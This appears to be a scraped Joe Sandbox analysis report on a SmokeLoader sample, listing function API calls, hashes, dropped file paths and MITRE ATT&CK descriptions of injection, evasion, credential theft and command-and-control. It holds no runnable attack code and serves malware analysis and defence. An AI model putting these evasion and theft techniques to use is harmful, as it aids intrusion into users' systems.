Instruction Fuzzy Hash: F211C87461194D4FFB5CFB79989D37633E2F714312F54506EE815C76A2EE398A818700

Function 00EEB4A8 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,7473604B), ref: 00EEB5A7
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00EEB651
VirtualProtect.KERNELBASE ref: 00EEB66F

Memory Dump Source

Source File: 00000014.00000002.4174152479.0000000000EEA000.00000040.80000000.00040000.00000000.sdmp, Offset: 00EEA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_eea000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction ID: 86c99aab491f440027c59fe3d355ae4e9293ade6ddbad9fc060975c4e1cc7dc6
Opcode Fuzzy Hash: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction Fuzzy Hash: 0551BE31754D9E4BCB24AB7EACC43F6B3D2F755329B18163AC49AD3285E758C84A8381

Function 00EE34C4 Relevance: 3.2, APIs: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EE1BF8: OpenFileMappingA.KERNEL32 ref: 00EE1C0F
Part of subcall function 00EE1BF8: MapViewOfFile.KERNELBASE ref: 00EE1C2E

SysFreeMap.PGOCR ref: 00EE36F7
SleepEx.KERNELBASE ref: 00EE3701

Memory Dump Source

Source File: 00000014.00000002.4174152479.0000000000EE1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00EE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_ee1000_explorer.jbxd

Similarity

API ID: File$FreeMappingOpenSleepView
String ID:
API String ID: 4205437007-0
Opcode ID: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction ID: a02cdc3d938bcd78c0fb42f8d3a3bd2191709098181c5fdba47b2e109c6c0c8a
Opcode Fuzzy Hash: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction Fuzzy Hash: 0551E830208A4C8FDB19FF3AD85DAAA73E2EB94304F44565DE45BD32A1DF38DA458781

Function 00EE1BF8 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00EE1C0F
MapViewOfFile.KERNELBASE ref: 00EE1C2E

Memory Dump Source

Source File: 00000014.00000002.4174152479.0000000000EE1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00EE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_ee1000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction ID: 4a826d61f1edf7c39cf938ad3364991c881e2c36379243ae24a5e22095ffd73e
Opcode Fuzzy Hash: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction Fuzzy Hash: 97F08234314F4D4FAB48EF7C9C9C135B7E0EBA8202700857A984AC6164EF34C8808701

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bCnarg2O62.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1D0F.exe

C:\Users\user\AppData\Local\Temp\9245.exe

C:\Users\user\AppData\Local\Temp\CD06.tmp

C:\Users\user\AppData\Local\Temp\CD06.tmp-shm

C:\Users\user\AppData\Local\Temp\D515.tmp

C:\Users\user\AppData\Local\Temp\D805.tmp

C:\Users\user\AppData\Local\Temp\DDC3.tmp

C:\Users\user\AppData\Local\Temp\DF4B.tmp

C:\Users\user\AppData\Local\Temp\E0D2.tmp

C:\Users\user\AppData\Local\Temp\E19E.tmp

C:\Users\user\AppData\Roaming\derhswe

C:\Users\user\AppData\Roaming\derhswe:Zone.Identifier

Windows Analysis Report
bCnarg2O62.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre